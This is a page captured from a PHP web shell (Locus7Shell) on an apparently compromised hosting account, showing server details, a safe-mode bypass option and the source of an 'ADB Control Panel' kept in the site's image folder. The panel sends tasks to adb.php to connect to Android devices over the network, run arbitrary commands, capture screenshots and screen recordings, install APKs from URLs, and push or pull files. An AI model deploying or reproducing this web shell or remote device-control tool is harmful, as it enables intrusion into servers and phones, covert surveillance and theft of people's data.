![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/adb/ drwxr-xr-x |
Viewing file: Select action/file-type:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>ADB Control Panel</title> <style> body { font-family: Arial, sans-serif; background-color: #1d1f21; color: #c5c8c6; padding: 20px; } input, button, select { margin: 5px; padding: 5px; border: 1px solid #333; background-color: #282a2e; color: #c5c8c6; } .container { margin-bottom: 20px; border: 1px solid #333; padding: 10px; } pre { background-color: #282a2e; padding: 10px; overflow-x: auto; } </style> <script> // Generic function to send simple POST tasks function runTask(task, extraData = '') { fetch('adb.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `task=${task}&data=${encodeURIComponent(extraData)}` }) .then(response => response.text()) .then(result => { document.getElementById('output').innerText = result; }) .catch(error => alert('Error: ' + error)); } // Function to send form-based POST tasks (for file upload/download) function runFormTask(formId) { const form = document.getElementById(formId); const formData = new FormData(form); fetch('adb.php', { method: 'POST', body: formData }) .then(response => response.text()) .then(result => { document.getElementById('output').innerText = result; }) .catch(error => alert('Error: ' + error)); return false; } </script> </head> <body> <h2>ADB Control Panel</h2> <div class="container"> <h3>Connect to Device</h3> <label>Device IP and Port: <input type="text" id="device_ip" placeholder="192.168.x.x:5555"></label> <button onclick="runTask('connect', document.getElementById('device_ip').value)">Connect</button> </div> <div class="container"> <h3>Device Commands</h3> <button onclick="runTask('list_apps')">List Installed Apps</button> <button onclick="runTask('screenshot')">Take Screenshot</button> <button onclick="runTask('screen_record')">Record Screen</button> <br><br> <label>Run Command: <input type="text" id="command" placeholder="e.g., ps"></label> <button onclick="runTask('run_command', document.getElementById('command').value)">Run Command</button> </div> <div class="container"> <h3>Install APK</h3> <label>APK URL: <input type="text" id="apk_url" placeholder="http://example.com/app.apk"></label> <button onclick="runTask('install_apk', document.getElementById('apk_url').value)">Install APK</button> </div> <div class="container"> <h3>File Upload (Push File to Device)</h3> <form id="uploadForm" onsubmit="return runFormTask('uploadForm')" enctype="multipart/form-data"> <label>Select File: <input type="file" name="upload_file"></label><br> <label>Destination Path on Device: <input type="text" name="dest_path" placeholder="/sdcard/"></label><br> <input type="hidden" name="task" value="upload_file"> <button type="submit">Upload File</button> </form> </div> <div class="container"> <h3>File Download (Pull File from Device)</h3> <form id="downloadForm" onsubmit="return runFormTask('downloadForm')"> <label>File Path on Device: <input type="text" name="remote_file" placeholder="/sdcard/file.txt"></label><br> <input type="hidden" name="task" value="download_file"> <button type="submit">Download File</button> </form> </div> <div class="container"> <h3>Search File</h3> <label>Search Directory: <input type="text" id="search_dir" placeholder="/sdcard/"></label> <label>File Name Pattern: <input type="text" id="search_pattern" placeholder="filename.txt"></label> <button onclick="runTask('search_file', document.getElementById('search_dir').value + '||' + document.getElementById('search_pattern').value)">Search</button> </div> <div class="container"> <h3>File Explorer (Directory Listing)</h3> <label>Directory Path: <input type="text" id="dir_path" placeholder="/sdcard/"></label> <button onclick="runTask('list_dir', document.getElementById('dir_path').value)">List Directory</button> </div> <h3>Output:</h3> <pre id="output"></pre> </body> </html>
|
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]-- |